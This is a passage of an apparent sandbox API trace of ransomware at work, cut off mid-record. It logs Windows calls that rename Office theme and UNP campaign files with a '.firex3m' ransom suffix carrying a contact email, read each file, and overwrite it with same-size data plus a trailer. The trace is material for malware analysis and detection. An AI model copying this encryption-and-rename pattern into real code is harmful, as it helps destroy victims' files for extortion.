[0207.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\BOLDSTRI.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\boldstri\\boldstri.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0207.008] GetProcessHeap () returned 0x630000 [0207.008] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7247db0 [0207.008] GetProcessHeap () returned 0x630000 [0207.008] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f06978 [0207.009] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.009] ReadFile (in: hFile=0x718, lpBuffer=0x7247db0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247db0*, lpNumberOfBytesRead=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0214.757] GetProcessHeap () returned 0x630000 [0214.757] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0214.757] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.757] WriteFile (in: hFile=0x718, lpBuffer=0x6f06978*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesWritten=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0214.757] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.758] WriteFile (in: hFile=0x718, lpBuffer=0x6f11d77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f11d77*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0214.758] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.758] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0214.758] CloseHandle (hObject=0x718) returned 1 [0214.758] GetProcessHeap () returned 0x630000 [0214.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0214.758] GetProcessHeap () returned 0x630000 [0214.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7247db0 | out: hHeap=0x630000) returned 1 [0214.758] GetProcessHeap () returned 0x630000 [0214.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0214.758] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0214.758] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\BOLDSTRI.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x45f32146, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xeb1e, dwReserved0=0xc507496, dwReserved1=0x7247da8, cFileName="BOLDSTRI.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BOLDST~2.FIR")) returned 0x6d54c0 [0214.758] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0214.759] Sleep (dwMilliseconds=0x1) [0216.415] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\index.html", len=0x6f | out: pbstr=0x37fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\index.html") returned 1 [0216.415] GetProcessHeap () returned 0x630000 [0216.415] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fbc) returned 0x74d7f88 [0216.416] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0216.416] CloseHandle (hObject=0x700) returned 1 [0216.416] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0216.416] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0216.417] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.417] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c9b, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5040 [0216.417] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0216.417] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0216.417] GetProcessHeap () returned 0x630000 [0216.417] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9ca1) returned 0x72846e0 [0216.417] GetProcessHeap () returned 0x630000 [0216.418] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9ca1) returned 0x7453008 [0216.418] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.418] ReadFile (in: hFile=0x700, lpBuffer=0x72846e0, nNumberOfBytesToRead=0x9c80, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72846e0*, lpNumberOfBytesRead=0x37fff0c*=0x9c80, lpOverlapped=0x0) returned 1 [0221.286] GetProcessHeap () returned 0x630000 [0221.286] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0221.286] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.286] WriteFile (in: hFile=0x700, lpBuffer=0x7453008*, nNumberOfBytesToWrite=0x9c80, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7453008*, lpNumberOfBytesWritten=0x37fff0c*=0x9c80, lpOverlapped=0x0) returned 1 [0221.287] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.287] WriteFile (in: hFile=0x700, lpBuffer=0x745cc87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x745cc87*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0221.287] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.287] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0221.287] CloseHandle (hObject=0x700) returned 1 [0221.287] GetProcessHeap () returned 0x630000 [0221.287] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7453008 | out: hHeap=0x630000) returned 1 [0221.287] GetProcessHeap () returned 0x630000 [0221.287] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72846e0 | out: hHeap=0x630000) returned 1 [0221.287] GetProcessHeap () returned 0x630000 [0221.287] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0221.288] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.288] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x49d7dc2c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9cbf, dwReserved0=0xc507496, dwReserved1=0x72846d8, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5200 [0221.288] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0221.288] Sleep (dwMilliseconds=0x1) [0222.686] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x37fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastbeginupgradeth2.xml") returned 1 [0222.686] GetProcessHeap () returned 0x630000 [0222.686] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5178) returned 0x6fe3bb0 [0222.686] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0225.768] CloseHandle (hObject=0x6ec) returned 1 [0225.768] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0225.768] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0225.874] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.874] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d51c0 [0225.875] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0225.875] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0225.875] GetProcessHeap () returned 0x630000 [0225.875] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3920 [0225.875] GetProcessHeap () returned 0x630000 [0225.875] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3ad8 [0225.875] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.875] ReadFile (in: hFile=0x6ec, lpBuffer=0x6f3920, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3920*, lpNumberOfBytesRead=0x37fff0c*=0x180, lpOverlapped=0x0) returned 1 [0225.877] GetProcessHeap () returned 0x630000 [0225.877] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71767c8 [0225.877] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.877] WriteFile (in: hFile=0x6ec, lpBuffer=0x6f3ad8*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3ad8*, lpNumberOfBytesWritten=0x37fff0c*=0x180, lpOverlapped=0x0) returned 1 [0225.878] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.878] WriteFile (in: hFile=0x6ec, lpBuffer=0x6f3c57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3c57*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.878] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.878] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.878] CloseHandle (hObject=0x6ec) returned 1 [0225.878] GetProcessHeap () returned 0x630000 [0225.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3ad8 | out: hHeap=0x630000) returned 1 [0225.878] GetProcessHeap () returned 0x630000 [0225.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3920 | out: hHeap=0x630000) returned 1 [0225.878] GetProcessHeap () returned 0x630000 [0225.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71767c8 | out: hHeap=0x630000) returned 1 [0225.955] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.955] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c94cd3e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1b4, dwReserved0=0x37ffd20, dwReserved1=0x6f3920, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d51c0 [0225.955] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0225.955] Sleep (dwMilliseconds=0x1) [0225.996] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x37fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastbeginupgrade.xml") returned 1 [0225.996] GetProcessHeap () returned 0x630000 [0225.996] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5170) returned 0x6fe3bb0 [0225.996] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0226.345] CloseHandle (hObject=0x694) returned 1 [0226.345] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.378] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.386] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.386] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934f2a6a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934f2a6a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x306, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4f00 [0226.386] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0226.386] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0226.387] GetProcessHeap () returned 0x630000 [0226.387] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x321) returned 0x706c9d8 [0226.387] GetProcessHeap () returned 0x630000 [0226.387] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x321) returned 0x706c348 [0226.387] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.387] ReadFile (in: hFile=0x6c0, lpBuffer=0x706c9d8, nNumberOfBytesToRead=0x300, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x706c9d8*, lpNumberOfBytesRead=0x37fff0c*=0x300, lpOverlapped=0x0) returned 1 [0226.391] GetProcessHeap () returned 0x630000 [0226.391] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71774e8 [0226.391] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.391] WriteFile (in: hFile=0x6c0, lpBuffer=0x706c348*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x706c348*, lpNumberOfBytesWritten=0x37fff0c*=0x300, lpOverlapped=0x0) returned 1 [0226.391] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.391] WriteFile (in: hFile=0x6c0, lpBuffer=0x706c647*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x706c647*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0226.391] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.391] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0226.391] CloseHandle (hObject=0x6c0) returned 1 [0226.391] GetProcessHeap () returned 0x630000 [0226.391] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706c348 | out: hHeap=0x630000) returned 1 [0226.391] GetProcessHeap () returned 0x630000 [0226.391] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706c9d8 | out: hHeap=0x630000) returned 1 [0226.391] GetProcessHeap () returned 0x630000 [0226.391] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71774e8 | out: hHeap=0x630000) returned 1 [0226.392] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.392] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934f2a6a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934f2a6a, 